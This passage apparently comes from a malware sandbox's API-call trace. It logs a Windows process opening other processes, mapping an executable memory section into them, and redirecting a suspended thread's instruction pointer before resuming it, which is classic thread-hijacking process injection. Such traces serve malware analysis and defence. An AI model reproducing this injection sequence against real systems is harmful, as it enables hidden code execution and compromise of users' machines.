NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x1fc, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0432.718] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0432.718] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0432.718] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x24e000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0432.718] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0437.723] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x24c) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0437.723] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0437.723] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2270000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0437.727] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffca0, Ebx=0x24e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffc48, Eip=0x7742295c, SegCs=0x23, EFlags=0x216, Esp=0x4ffc30, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0437.728] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0437.728] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xf6a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xf7000) returned 0x0 [0437.733] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xf6a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x7d0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xf7000) returned 0x0 [0437.747] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0437.768] NtClose (Handle=0x214) returned 0x0 [0437.768] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ffca0, Ebx=0x24e000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ffc48, Eip=0x834927, SegCs=0x23, EFlags=0x216, Esp=0x4ffc30, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0437.769] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0437.769] NtClose (Handle=0x20c) returned 0x0 [0437.769] NtClose (Handle=0x1e4) returned 0x0 [0437.770] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x2d4, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0437.770] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0437.770] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0437.770] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0xd9b000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0437.770] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0442.773] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x310) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0442.774] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0442.774] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x29c0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0442.778] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xbbfb34, Ebx=0xd9b000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xbbfadc, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0xbbfac4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, 